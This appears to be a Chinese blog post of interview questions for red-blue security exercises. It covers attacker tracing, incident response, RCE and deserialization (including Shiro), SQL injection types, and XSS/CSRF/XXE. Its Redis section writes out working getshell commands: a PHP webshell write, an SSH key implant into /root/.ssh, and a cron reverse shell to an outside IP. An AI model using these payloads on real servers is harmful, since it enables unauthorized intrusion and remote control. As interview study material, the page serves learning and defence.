HW中常见的面试题

1.说说你在工作中或者SRC中挖到的比较典型的漏洞?

2.HW中如果已经发现红方IP地址,该如何溯源?

通过蜜罐系统或者安全设备锁定红方MAC,然后通过IP地址对,whois查询到该IP注册人以及注册邮箱,如果是发现邮箱是某厂商注册则可利用社工方式获得其手机号码,通过获得的邮箱、手机号码我们可以使用REG007平台查询当前邮箱或者手机号码注册过的网站,进而对注册过的网站继续进行溯源找到 更多有用信息。

1)针对IP通过威胁情报分析平台进行信息收集+开放端口分析查询

2)获取到真实IP地址后进行定位查询

3)通过得到的ID进行信息收集

3. 说说HVV中该如何做应急响应

1) 首先确定攻击类型,然后定位到被攻击的服务器

2) 登录服务器查看是否存在可疑账号或隐藏账号

3) 查看服务器是否使用弱口令
4) 查看日志是否存在可疑行为

5) 查看是否存在高危端口或者可疑端口,查看是否有可疑进程开放。

6) 查看开机启动项、定时任务
7) 使用杀毒软件进行病毒查杀

4. Linux中挖矿后该如何做应急响应?

挖矿明显的特征是CPU占用率会很高,首先查看是否存在占用率很高的进程,找到该进程物理位置,

5.内网服务器被上传webshell,你是如何做应急响应的?
1) 首先定位到被上传webshell的服务器,登录服务器查看是否是否开放了可疑端口或者有可疑进程, 如果发现可疑进程,找到进程具体位置下载到本地进行分析或者直接丢到沙箱中检测。

2) 查看服务器是否添加了新用户或者隐藏用户,D盾查看隐藏账号、查看注册表中路径

HKEY_LOCAL_MACHINE --SAM–SAM,对照其他服务器中注册表中信息)

3) 检查日志查看是否有可疑行为

4) 查看计划任务或者开机启动项
5) 使用webshell安全工具进行查杀(D盾、安全狗、百度、河马)

6.RCE漏洞

1)、概述

RCE又称远程代码执行漏洞或者远程命令执行漏洞,即就是攻击者输入的字符串被当作代码或者命令被执行;服务器没有对执行命令的函数做严格的过滤,最终导致代码或命令被执行。

远程代码执行、远程命令执行区别:

一个执行脚本代码一个执行系统命令;

2)、常见的命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为os命令执行,只返回结果的最后一行(约等于无回显)

shell_exec()

pcntl_exec()

proc_popen()

passthru()

使用system()函数执行Windows系统下的ping命令:

<?php
system("ping www.baidu.com");
?>

结果如图所示:

代码执行函数

eval():将字符串作为php代码执行。

assert():将字符串作为PHP代码执行

preg_replace()

creat_function()

arrar_map()

call_user_func()

call_user_func_array()

array_filter()

uasort()

使用eval()函数执行PHP代码中的phpinfo()函数:

<?php
eval("phpinfo();");
?>

7. 说说java反序列化

序列化和反序列化相当于编码和解码的一个过程,产生漏洞的原因就在于反序列化时unserialize()函数中 传参用户可控,或者使用了某些魔术方法(construct()、wakeup()、__destruct())造成魔术方法用户 可控。用户输入的数据过滤不严格。

一般反序列化需要白盒审计才能发现,黑盒几乎都是用自动化工具进行扫描。

java序列化指将java对象转化成字符串的过程,序列化后的字符串可以保存在文件、数据库中;而java反序列化指把字符串恢复为java对象

序列化和反序列化通过ObjectinputStream.readObject()和ObjectOutputStream.writeObject()方法实现

在java中,任何类如果想要序列化必须实现java.io.serialiable接口,这是一个空接口,java中该接口的唯一作用是对一个类做一个标记,让jre确认这个类是可以序列化的。

java反序列化漏洞依赖两个因素:

1)、应用中是否有反序列化借口

2)、应用中是否包含漏洞的组建

2. Shiro反序列化和反序列化有了解吗?

Apache shiro是一个java安全框架,执行身份验证,授权,密码和会话管理,1.2.4以前的版本存在反序列化漏洞

漏洞原理:

Apache shiro框架提供了一个记住我的功能,这个功能在用户登录成功后,会生成加密后的cookie,其中记住我的RememberMe就是cookie中的key,cookie的值是相关信息经过序列化在进行aes加密,在使用base64编码之后形成。

服务端接受cookie值,也是按照以下步骤解析

1)、检索RememberMe cookie的值

2)、base64解码

3)、使用aes解码(加密密钥硬编码)

4)、进行反序列化操作(未做过滤处理) 在调用反序列时未进行任何过滤,导致出发远程代码执行

漏洞风险:

攻击者使用shiro默认的密钥构造恶意序列化对象进行编码,来伪造用户的cookie,服务器反序列化时出发漏洞,从而执行命令

漏洞复现:

登录的反回报存在"set-cookie: rememberMe=deleteMe;" 。

使用shiro_tools,成功

修复建议:

1、使用最新的shiro

2、确保密钥的安全性,不使用公开的密钥

8. 说说XXE漏洞 xml外部实体化注入

9. Linux中查看进程的命令? Ps top

10. Redis Getshell的几种方法?

redis是一种开源的数据存储系统,可用作数据库,中间件,

1)、redis未授权访问漏洞,会绑定在0.0.0.0:6379,若未采用相关的策略,会将redis服务暴露在公网,且redis默认空密码连接,命令:redis-cli -h ip ,连接成功后,使用ping命令验证,返回PONG则说明Redis服务开启,info:查看各种信息

2)若Redis端口更改,在Linux 操作系统下:使用ps命令查看当前正在运行的进程:ps -ef |grep redis-server,若输出reids一些信息则说明redis服务开启;若在window操作系统下,直接打开任务管理器,查看进程,找redis-server.exe。若存在则说明redis服务开启。

redis写入shell

1)、在通过redis未授权,通过redis连接系统,若存在web服务,知道web服务路径,在该路径下存在增删改查等权限,则通过redis直接写入

原理:redis为了持久化连接,将数据保存至本地,通过写入一句话木马放入web目录下,实现webshell

config set dir /var/www.html/	// 切换到网站目录
config set dbfilename zcc.php	// 在磁盘中生成木马文件
set xxx "\n\n\n<?php @eal($_POST['zcc']);?>\n\n\n"    //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save    //将内存中的数据导出到磁盘

2)、redis写入SSH公匙登录

原理:在数据库中插入一条数据,将本级的公匙作为value(键值),key(键名)值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存到文件里,这样就可以在服务端的/root/.shh下生成一个授权的key

利用条件:

1)、redis服务使用root账号启动,拥有root权限

2)、能成功连接redis

3)、服务器开启SSH服务,且允许密钥登录,将密钥等配置信息放在/root/.ssh目录,即可远程写入一个公匙,直接登录远程服务器,攻击机上创建ssh-rsa密钥,也就是生成key,这里密码设置空,其余默认

ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save

3)、写入计划任务反弹shell

原理:在数据库中插入一条数据,将计划任务内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务端成功写入一个计划任务成功反弹shell。

set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"  //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config setdir /var/spool/cron
config set dbfilename root
save

11. SQL注入的几种类型?

Get注入、Post注入、Cookie注入、HTTP注入、盲注、报错注入、宽字节注入、联合查 询注入、堆叠注入

12. CSRF、XSS 及 XXE和SSRF 有什么区别,以及修复方式?
xSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等 攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁 JavaScript 读取 Cookie 值、输 入时校验、浏览器与 Web 应用端采用相同的字符编码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作 执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远 程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用 时严格禁止对外部实体的解析。

  • 10
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值